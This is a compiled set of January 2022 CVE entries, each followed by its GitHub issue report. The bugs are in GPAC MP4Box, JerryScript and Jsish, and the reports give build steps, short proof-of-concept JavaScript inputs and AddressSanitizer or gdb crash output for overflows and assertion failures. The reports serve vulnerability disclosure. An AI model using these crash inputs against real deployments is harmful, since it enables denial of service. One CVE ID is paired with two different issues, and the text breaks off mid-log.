Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1615-g9ce097b4a-master ``` **command:** ``` ./bin/gcc/MP4Box -bt POC2 ``` [POC2.zip](https://github.com/gpac/gpac/files/7834581/POC2.zip) **Result** ``` Segmentation fault. ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. 0x0000000000d84a84 in __memmove_avx_unaligned_erms () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────── RAX 0x1100d60 ◂— 0x0 RBX 0x400788 ◂— 0x0 RCX 0x1100d68 ◂— 0x61 /* 'a' */ RDX 0x8802ff8 RDI 0x1100d60 ◂— 0x0 RSI 0x1100d68 ◂— 0x61 /* 'a' */ R8 0x4 R9 0x1103bd0 ◂— 0x4e0 R10 0x1104918 ◂— 0x0 R11 0x11040e0 —▸ 0x11010c0 —▸ 0x1101010 —▸ 0x1100ec0 —▸ 0x1103180 ◂— ... R12 0xd0de10 (__libc_csu_fini) ◂— endbr64 R13 0x0 R14 0x10aa018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd84910 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff8620 —▸ 0x7fffffff8690 —▸ 0x7fffffff86e0 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 ◂— ... RSP 0x7fffffff85f8 —▸ 0x445aa6 (gf_list_rem+164) ◂— mov rax, qword ptr [rbp - 0x18] RIP 0xd84a84 (__memmove_avx_unaligned_erms+372) ◂— vmovdqu ymm5, ymmword ptr [rsi + rdx - 0x20] ─────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────── ► 0xd84a84 <__memmove_avx_unaligned_erms+372> vmovdqu ymm5, ymmword ptr [rsi + rdx - 0x20] 0xd84a8a <__memmove_avx_unaligned_erms+378> vmovdqu ymm6, ymmword ptr [rsi + rdx - 0x40] 0xd84a90 <__memmove_avx_unaligned_erms+384> vmovdqu ymm7, ymmword ptr [rsi + rdx - 0x60] 0xd84a96 <__memmove_avx_unaligned_erms+390> vmovdqu ymm8, ymmword ptr [rsi + rdx - 0x80] 0xd84a9c <__memmove_avx_unaligned_erms+396> mov r11, rdi 0xd84a9f <__memmove_avx_unaligned_erms+399> lea rcx, [rdi + rdx - 0x20] 0xd84aa4 <__memmove_avx_unaligned_erms+404> mov r8, rdi 0xd84aa7 <__memmove_avx_unaligned_erms+407> and r8, 0x1f 0xd84aab <__memmove_avx_unaligned_erms+411> sub r8, 0x20 0xd84aaf <__memmove_avx_unaligned_erms+415> sub rsi, r8 0xd84ab2 <__memmove_avx_unaligned_erms+418> sub rdi, r8 ─────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff85f8 —▸ 0x445aa6 (gf_list_rem+164) ◂— mov rax, qword ptr [rbp - 0x18] 01:0008│ 0x7fffffff8600 ◂— 0xffff8620 02:0010│ 0x7fffffff8608 —▸ 0x1100710 —▸ 0x1100d60 ◂— 0x0 03:0018│ 0x7fffffff8610 —▸ 0x56df73 (BM_EndOfStream) ◂— endbr64 04:0020│ 0x7fffffff8618 ◂— 0x11005ff01100710 05:0028│ rbp 0x7fffffff8620 —▸ 0x7fffffff8690 —▸ 0x7fffffff86e0 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 ◂— ... 06:0030│ 0x7fffffff8628 —▸ 0x56e0ea (gf_bifs_flush_command_list+350) ◂— mov rax, qword ptr [rbp - 0x18] 07:0038│ 0x7fffffff8630 —▸ 0x7fffffff8670 —▸ 0x10eef50 —▸ 0x1101320 —▸ 0x10ef5b0 ◂— ... ───────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────── ► f 0 0xd84a84 __memmove_avx_unaligned_erms+372 f 1 0x445aa6 gf_list_rem+164 f 2 0x56e0ea gf_bifs_flush_command_list+350 f 3 0x56e3fb gf_bifs_decode_command_list+340 f 4 0x6c0631 gf_sm_load_run_isom+1994 f 5 0x6a45a1 gf_sm_load_run+46 f 6 0x418161 dump_isom_scene+981 f 7 0x415b12 mp4boxMain+6395 ───────────────────────────────────────────────────────── ```

A segmentation fault in MP4Box

https://api.github.com/repos/gpac/gpac/issues/2039/comments

2022-01-09T07:07:05Z

2022-01-11T17:35:42Z

https://github.com/gpac/gpac/issues/2039

CVE-2021-44988

2022-01-25T01:15:07.640

Jerryscript v3.0.0 and below was discovered to contain a stack overflow via ecma_find_named_property in ecma-helpers.c.

https://github.com/jerryscript-project/jerryscript/issues/4891

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20 ``` ###### Test case ```javascript let array = new Array(1); array.splice(1, 0, array); array.flat(Infinity); ``` ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ASAN:DEADLYSIGNAL ================================================================= ==37207==ERROR: AddressSanitizer: stack-overflow on address 0xff6f2ffc (pc 0x566c8fbc bp 0xff6f3040 sp 0xff6f3000 T0) #0 0x566c8fbb in ecma_find_named_property /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618 #1 0x56a91e1f (/root/jerryscript/build/bin/jerry+0x477e1f) SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618 in ecma_find_named_property ==37207==ABORTING ```

Stack-overflow in ecma_find_named_property (ecma-helpers.c)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4891/comments

2021-12-09T14:33:33Z

2021-12-09T14:35:17Z

https://github.com/jerryscript-project/jerryscript/issues/4891

CVE-2021-44992

2022-01-25T01:15:07.690

There is an Assertion ''ecma_object_is_typedarray (obj_p)'' failed at /jerry-core/ecma/operations/ecma-typedarray-object.c in Jerryscript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4875

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 Commit: [8ba0d1b](https://github.com/jerryscript-project/jerryscript/commit/8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc) Version: v2.4.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case ```javascript function isPoT(obj, name, type) { let desc; desc = Object.getOwnPropertyDescriptor(obj, name); return typeof type === 'undefined' || typeof desc.value === type; } function getPs(obj, type) { let properties = []; for (let name of Object.getOwnPropertyNames(obj)) { if (isPoT(obj, name, type)) { properties.push(name); } } return properties; } function* genObj(root = this, level = 0) { if (level > 4) { return; } let obj_names = getPs(root, 'object'); for (let obj_name of obj_names) { if (obj_name.startsWith('$')) { continue; } let obj = root[obj_name]; yield obj; yield* genObj(obj, level + 1); } } function JSEtestObj() { let objects = []; for (let obj of genObj()) { if (!objects.includes(obj)) { objects.push(obj); } } return objects; } function JSEtestFunc(obj) { return getPs(obj, 'function'); } const thrower = new Proxy({}, { get() { throw 0xc0defefe; } }); for (let o of JSEtestObj()) { for (let f of JSEtestFunc(o)) { const arityPlusOne = o[f].length + 1; try { o[f](Array(arityPlusOne).fill(thrower)); } catch (e) { if (`${e}`.includes('1')) { try { new o[f](Array(arityPlusOne).fill(thrower)); } catch (e) {} } else { } } } } ``` ​ ###### Execution steps & Output Version: v3.0.0 ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_object_is_typedarray (obj_p)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c(ecma_get_typedarray_id):764. Error: ERR_FAILED_INTERNAL_ASSERTION ``` Version: v2.4.0 ````bash $ ~/jerryscript-2.4.0/build/bin/jerry poc.js Script Error: assertion failed Script backtrace (top 5): 0: poc.js:72 ```` Credits: Found by OWL337 team.

Assertion 'ecma_object_is_typedarray (obj_p)' failed in ecma-typedarray-object(ecma_get_typedarray_id)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4875/comments

2021-12-09T09:08:53Z

2022-01-12T02:06:25Z

https://github.com/jerryscript-project/jerryscript/issues/4875

CVE-2021-44993

2022-01-25T01:15:07.730

There is an Assertion ''ecma_is_value_boolean (base_value)'' failed at /jerry-core/ecma/operations/ecma-get-put-value.c in Jerryscript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4876

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case ```javascript function JSEtest(f, n = 1000) { for (let i = 0; i < n; i++) { f(); } } JSEtest(function () { class M { constructor() { this._x = 45; } get foo() { return this._x; } } class N extends M { constructor(x = () => super.foo) { super(); x() === 45; } x(x = () => super.foo) { return x(); } } new N().x() === 45; }); ``` ​ ###### Execution steps & Output version 3.0.0 ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_is_value_boolean (base_value)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-get-put-value.c(ecma_op_get_value_object_base):205. Error: ERR_FAILED_INTERNAL_ASSERTION ``` Credits: Found by OWL337 team.

Assertion 'ecma_is_value_boolean (base_value)' failed in ecma_op_get_value_object_base (ecma-get-put-value).

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4876/comments

2021-12-09T09:48:50Z

2022-01-12T02:06:45Z

https://github.com/jerryscript-project/jerryscript/issues/4876

CVE-2021-44994

2022-01-25T01:15:07.773

There is an Assertion ''JERRY_CONTEXT (jmem_heap_allocated_size) == 0'' failed at /jerry-core/jmem/jmem-heap.c in Jerryscript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4894

github.com

## JerryScript commit hash 55acdf2048b390d0f56f12e64dbfb2559f0e70ad ## Build platform Ubuntu 20.04 LTS ## Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g \ --strip=off --system-allocator=on --logging=on \ --linker-flag=-fuse-ld=gold --error-messages=on --line-info=ON \ --stack-limit=10 ``` ## poc ``` var sab = new SharedArrayBuffer(4); var a = new Int32Array(sab); Atomics.add(a, -0, 1); ``` ## assert log ``` ICE: Assertion 'JERRY_CONTEXT (jmem_heap_allocated_size) == 0' failed at /home/sakura/jerryscript/jerry-core/jmem/jmem-heap.c(jmem_heap_finalize):108. Error: ERR_FAILED_INTERNAL_ASSERTION ```

Assertion 'JERRY_CONTEXT (jmem_heap_allocated_size) == 0' failed at /home/sakura/jerryscript/jerry-core/jmem/jmem-heap.c(jmem_heap_finalize):108.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4894/comments

2021-12-09T14:53:08Z

2022-01-14T09:05:39Z

https://github.com/jerryscript-project/jerryscript/issues/4894

CVE-2021-44994

2022-01-25T01:15:07.773

There is an Assertion ''JERRY_CONTEXT (jmem_heap_allocated_size) == 0'' failed at /jerry-core/jmem/jmem-heap.c in Jerryscript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4895

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case ```javascript function JSEtest(predicate, item) { if (!predicate) { log.push(item); } } var global = this; Object.getOwnPropertyNames(global).forEach(function (name) { if (name[0] != name[0].toUpperCase()) { return; } var obj = global[name]; if (!obj.toString().includes('native')) { return; } try { new obj(); } catch (e) { ; } var constructor = obj.constructor; var prototype = obj.prototype; var prototype_constructor = prototype.constructor; JSEtest(`${name}.prototype.constructor`); }); ``` ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_object_check_class_name_is_object (obj_p)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c(ecma_object_get_class_name):3009. Error: ERR_FAILED_INTERNAL_ASSERTION ``` Credits: Found by OWL337 team.

Assertion 'ecma_object_check_class_name_is_object (obj_p)' failed at ecma-objects.c(ecma_object_get_class_name)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4895/comments

2021-12-09T14:58:57Z

2022-01-12T02:09:35Z

https://github.com/jerryscript-project/jerryscript/issues/4895

CVE-2021-46474

2022-01-25T01:15:07.817

Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsiEvalCodeSub in src/jsiEval.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/57

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript assert(newObj.hasOwnProperty("prop")).throws(SyntaxError, function () { eval("'use strict'; function _13_0_7_fun() {eval = 42;};"); _13_0_7_fun(); }); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ================================================================= ========ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000028f8 at pc 0x55bcbd952990 bp 0x7ffd837e9530 sp 0x7ffd837e9520 READ of size 8 at 0x6250000028f8 thread T0 #0 0x55bcbd95298f in jsiEvalCodeSub src/jsiEval.c:1366 #1 0x55bcbd95c15e in jsi_evalcode src/jsiEval.c:2204 #2 0x55bcbd960274 in jsi_evalStrFile src/jsiEval.c:2665 #3 0x55bcbd64f66a in Jsi_Main src/jsiInterp.c:936 #4 0x55bcbde5403a in jsi_main src/main.c:47 #5 0x7f3599d46bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #6 0x55bcbd5e3969 in _start (/usr/local/bin/jsish+0xe8969) 0x6250000028f8 is located 8 bytes to the left of 8192-byte region [0x625000002900,0x625000004900) allocated by thread T0 here: #0 0x7f359a9b5f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x55bcbd654972 in Jsi_Realloc src/jsiUtils.c:47 SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:1366 in jsiEvalCodeSub Shadow bytes around the buggy address: 0x0c4a7fff84c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff84d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff84e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff84f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c4a7fff8510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa] 0x0c4a7fff8520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ========ABORTING ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/jsiEval.c:1366 in jsiEvalCodeSub

https://api.github.com/repos/pcmacdon/jsish/issues/57/comments

2021-12-24T09:47:27Z

2022-01-12T02:12:21Z

https://github.com/pcmacdon/jsish/issues/57

CVE-2021-46475

2022-01-25T01:15:07.853

Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsi_ArraySliceCmd in src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/64

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var arr = [ 'aa', 'bb' ]; var results = []; arr.findIndex(function (V) { if (results.length === 0) { arr.slice(1, arr.push('cc')); } }); results = []; arr = [ 'mm' ]; arr.findIndex(function (V) { if (results.length === 0) { arr.push('cc'); arr[1] = 'nn'; } results.push(V); }); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==87153==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000018cc0 at pc 0x556c1807d671 bp 0x7ffc37cea3f0 sp 0x7ffc37cea3e0 READ of size 8 at 0x60c000018cc0 thread T0 #0 0x556c1807d670 in jsi_ArraySliceCmd src/jsiArray.c:912 #1 0x556c1804c818 in jsi_FuncCallSub src/jsiProto.c:244 #2 0x556c1831671a in jsiFunctionSubCall src/jsiEval.c:796 #3 0x556c1831671a in jsiEvalFunction src/jsiEval.c:837 #4 0x556c1831671a in jsiEvalCodeSub src/jsiEval.c:1264 #5 0x556c1832a15e in jsi_evalcode src/jsiEval.c:2204 #6 0x556c1804d834 in jsi_FuncCallSub src/jsiProto.c:220 #7 0x556c17fc9fec in jsi_FunctionInvoke src/jsiFunc.c:777 #8 0x556c17fc9fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #9 0x556c1808ac0b in jsi_ArrayFindSubCmd src/jsiArray.c:576 #10 0x556c1808ac0b in jsi_ArrayFindIndexCmd src/jsiArray.c:666 #11 0x556c1804c818 in jsi_FuncCallSub src/jsiProto.c:244 #12 0x556c1831671a in jsiFunctionSubCall src/jsiEval.c:796 #13 0x556c1831671a in jsiEvalFunction src/jsiEval.c:837 #14 0x556c1831671a in jsiEvalCodeSub src/jsiEval.c:1264 #15 0x556c1832a15e in jsi_evalcode src/jsiEval.c:2204 #16 0x556c1832e274 in jsi_evalStrFile src/jsiEval.c:2665 #17 0x556c1801d66a in Jsi_Main src/jsiInterp.c:936 #18 0x556c1882203a in jsi_main src/main.c:47 #19 0x7f116a702bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #20 0x556c17fb1969 in _start (/usr/local/bin/jsish+0xe8969) 0x60c000018cc0 is located 0 bytes to the right of 128-byte region [0x60c000018c40,0x60c000018cc0) allocated by thread T0 here: #0 0x7f116b371f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x556c18022972 in Jsi_Realloc src/jsiUtils.c:47 SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiArray.c:912 in jsi_ArraySliceCmd Shadow bytes around the buggy address: 0x0c187fffb140: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c187fffb150: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c187fffb160: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c187fffb170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c187fffb180: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 =>0x0c187fffb190: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa 0x0c187fffb1a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c187fffb1b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c187fffb1c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c187fffb1d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c187fffb1e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-buffer-overflow src/jsiArray.c:912 in jsi_ArraySliceCmd

https://api.github.com/repos/pcmacdon/jsish/issues/64/comments

2021-12-24T10:33:23Z

2021-12-26T17:16:57Z

https://github.com/pcmacdon/jsish/issues/64

CVE-2021-46477

2022-01-25T01:15:07.893

Jsish v3.5.0 was discovered to contain a heap buffer overflow via RegExp_constructor in src/jsiRegexp.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/63

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript function JSEtest() { var bound; var t; bound = RegExp.bind('baz', 'quuux'); t = new bound('i'); } try { JSEtest(); } catch (e) { } ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==21392==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018e48 at pc 0x55de4613ce12 bp 0x7ffdf013bf00 sp 0x7ffdf013bef0 WRITE of size 8 at 0x604000018e48 thread T0 #0 0x55de4613ce11 in RegExp_constructor src/jsiRegexp.c:176 #1 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244 #2 0x55de46118fec in jsi_FunctionInvoke src/jsiFunc.c:777 #3 0x55de46118fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #4 0x55de46194ad6 in jsi_FuncBindCall src/jsiProto.c:299 #5 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244 #6 0x55de4646571a in jsiFunctionSubCall src/jsiEval.c:796 #7 0x55de4646571a in jsiEvalFunction src/jsiEval.c:837 #8 0x55de4646571a in jsiEvalCodeSub src/jsiEval.c:1264 #9 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204 #10 0x55de4619c834 in jsi_FuncCallSub src/jsiProto.c:220 #11 0x55de464655ab in jsiFunctionSubCall src/jsiEval.c:796 #12 0x55de464655ab in jsiEvalFunction src/jsiEval.c:837 #13 0x55de464655ab in jsiEvalCodeSub src/jsiEval.c:1264 #14 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204 #15 0x55de4647d274 in jsi_evalStrFile src/jsiEval.c:2665 #16 0x55de4616c66a in Jsi_Main src/jsiInterp.c:936 #17 0x55de4697103a in jsi_main src/main.c:47 #18 0x7ff1757adbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #19 0x55de46100969 in _start (/usr/local/bin/jsish+0xe8969) 0x604000018e48 is located 8 bytes to the left of 48-byte region [0x604000018e50,0x604000018e80) allocated by thread T0 here: #0 0x7ff17641cd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55de46171aa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiRegexp.c:176 in RegExp_constructor Shadow bytes around the buggy address: 0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb190: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa 0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa 0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa =>0x0c087fffb1c0: fa fa 00 00 00 00 00 04 fa[fa]00 00 00 00 00 00 0x0c087fffb1d0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 06 0x0c087fffb1e0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa 0x0c087fffb1f0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb200: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb210: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/jsiRegexp.c:176 in RegExp_constructor

https://api.github.com/repos/pcmacdon/jsish/issues/63/comments

2021-12-24T10:32:32Z

2022-01-12T02:13:42Z

https://github.com/pcmacdon/jsish/issues/63

CVE-2021-46478

2022-01-25T01:15:07.930

Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsiClearStack in src/jsiEval.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/60

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var a = Math.sin(Math.PI/2); if (a === 1) { switch (a) { case assert(accessed, 'accessed !== true'): break; default: throw "FAIL"; } } ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==52181==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000000f8 at pc 0x55ff51f35d58 bp 0x7fff48257760 sp 0x7fff48257750 READ of size 8 at 0x6250000000f8 thread T0 #0 0x55ff51f35d57 in jsiClearStack src/jsiEval.c:120 #1 0x55ff51f35d57 in jsiPop src/jsiEval.c:200 #2 0x55ff51f35d57 in jsiEvalCodeSub src/jsiEval.c:1390 #3 0x55ff51f4215e in jsi_evalcode src/jsiEval.c:2204 #4 0x55ff51f46274 in jsi_evalStrFile src/jsiEval.c:2665 #5 0x55ff51c3566a in Jsi_Main src/jsiInterp.c:936 #6 0x55ff5243a03a in jsi_main src/main.c:47 #7 0x7fab5e008bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #8 0x55ff51bc9969 in _start (/usr/local/bin/jsish+0xe8969) 0x6250000000f8 is located 8 bytes to the left of 8192-byte region [0x625000000100,0x625000002100) allocated by thread T0 here: #0 0x7fab5ec77f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x55ff51c3a972 in Jsi_Realloc src/jsiUtils.c:47 SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:120 in jsiClearStack Shadow bytes around the buggy address: 0x0c4a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c4a7fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa] 0x0c4a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8050: 00 00 00 00 00 00 00 00 